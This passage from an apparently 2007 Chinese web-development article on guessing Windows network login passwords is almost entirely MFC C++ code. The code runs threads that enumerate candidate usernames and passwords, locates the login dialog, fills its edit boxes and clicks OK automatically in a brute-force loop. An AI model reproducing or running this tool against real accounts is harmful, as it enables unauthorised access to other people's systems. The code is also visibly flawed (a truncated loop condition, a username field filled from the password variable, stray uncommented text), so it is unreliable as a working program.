WEB开发网
开发学院操作系统Windows XP Windows网络用户登录密码的猜解 阅读

Windows网络用户登录密码的猜解

 2007-08-13 09:06:57 来源:WEB开发网   
核心提示: {file://密码枚举线程if(PassTread[0].pThread==NULL){PassTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextPassL,NULL,THREAD_PRIORITY_LOWEST);PassTr
{
file://密码枚举线程
if(PassTread[0].pThread==NULL)
{
PassTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextPassL,NULL,
THREAD_PRIORITY_LOWEST);
PassTread[0].pThread->m_bAutoDelete=TRUE;
file://这里略去了从文件取得密码的代码,这些代码和用户名枚举过程的代码差不多
}
file://用户名枚举线程
if(UserTread[0].pThread==NULL)
{
UserTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextUserF,NULL,
THREAD_PRIORITY_LOWEST);
PassTread[0].pThread->m_bAutoDelete=TRUE;
}
file://窗口枚举线程
for(int i=0;i
{
if(WindowThread[i].pThread==NULL){
WindowThread[i].pThread=AfxBeginThread((AFX_THREADPROC)ThreadProc,NULL,
THREAD_PRIORITY_LOWEST);
WindowThread[i].pThread->m_bAutoDelete=TRUE;
}
}

3.窗口及子窗口枚举

UINT ThreadProc(LPVOID *pPraram)
{
while(1){ while(!EnumWindows((WNDENUMPROC)EnumWindowsProc,NULL))break;}
return 0;
}
BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam)
{
char lpWinTitle[MAX_LINELENGTH];
::GetWindowText(hwnd,lpWinTitle,MAX_LINELENGTH-1);
if(strcmp(lpWinTitle,sTitle)==0)// sTitle:网络登录窗口的窗口名
{ gMutex.Lock(INFINITE);//防止两个线程同时操作
while(EnumChildWindows(hwnd,(WNDENUMPROC)EnumChildProc,NULL));
gMutex.Unlock();
return FALSE;
}
return TRUE;
}
BOOL CALLBACK EnumChildProc( HWND hwnd,LPARAM lParam)
{
char sChildName[MAX_LINELENGTH];
::GetClassName(hwnd,sChildName,MAX_LINELENGTH-1);
file://处理编辑控件,登录窗口中一般只有两个编辑框,可用MicroSoft Spy++查看窗口的
file://各个子窗口
// 的属性。通过对比各控件的风格或名字来区别各控件。
if(strcmp(sChildName,"Edit")==0)
{
DWORD dWinSty=::GetWindowLong(hwnd,GWL_STYLE);
if((dWinSty&ES_PASSWORD)==ES_PASSWORD)//这是密码输入编辑控件
{
gEventNextPass.SetEvent();//发送“新密码”事件
WaitForSingleObject(gEventPassOk, INFINITE); file://等待“密码完成”事件
gEventPassOk.ResetEvent(); file://复位
::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);
file://把新密码填到密码输入框,也可用SetWindowText()
bPass=TRUE;//记录密码已填入
if(bUser&&(hOk!=NULL))//如果用户名已填入,“确定”按钮已找到。
{
::SendMessage(::GetParent(hOk),WM_COMMAND,
(WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));
file://向“确定”按钮送消息,参照ClassWizard的消息映射
bUser=FALSE;bPass=FALSE;hOk=NULL;
file://完成一次登录,初始化
return FALSE;
}
return TRUE;
}
file://非此即彼,这是用户名输入编辑控件
if((dWinSty&ES_READONLY)!=ES_READONLY)
{
::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);
file://把新用户名填到用户名输入框,也可用SetWindowText()
bUser=TRUE;// 新用户名已填入用户名输入框
if(bPass&&(hOk!=NULL)) 如果密码已填入,“确定”按钮已找到。
{
::SendMessage(::GetParent(hOk),WM_COMMAND,
(WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));
file://向“确定”按钮送消息,参照ClassWizard的消息映射
bUser=FALSE;bPass=FALSE;hOk=NULL;
file://完成一次登录,初始化
return FALSE;
}
}
return TRUE;
}
file://如果是按钮控件
if(strcmp(sChildName,"Button")==0)
{
char sChildTitle[MAX_LINELENGTH];
::GetWindowText(hwnd,sChildTitle,MAX_LINELENGTH-1);
if(strcmp(sChildTitle,sButtonOk)!=0) return TRUE;
// sButtonOk:登录窗口中“OK”按钮的标题
hOk=hwnd;//记录“OK”窗口句柄
if(bUser&&bPass)
{
::SendMessage(::GetParent(hOk),WM_COMMAND,
(WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));
file://向“确定”按钮送消息,参照ClassWizard的消息映射
bUser=FALSE;bPass=FALSE;hOk=NULL;
file://完成一次登录,初始化
return FALSE;
}
return TRUE;
}
return TRUE;
}

4.用户名枚举:

Tags:Windows 网络 用户

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接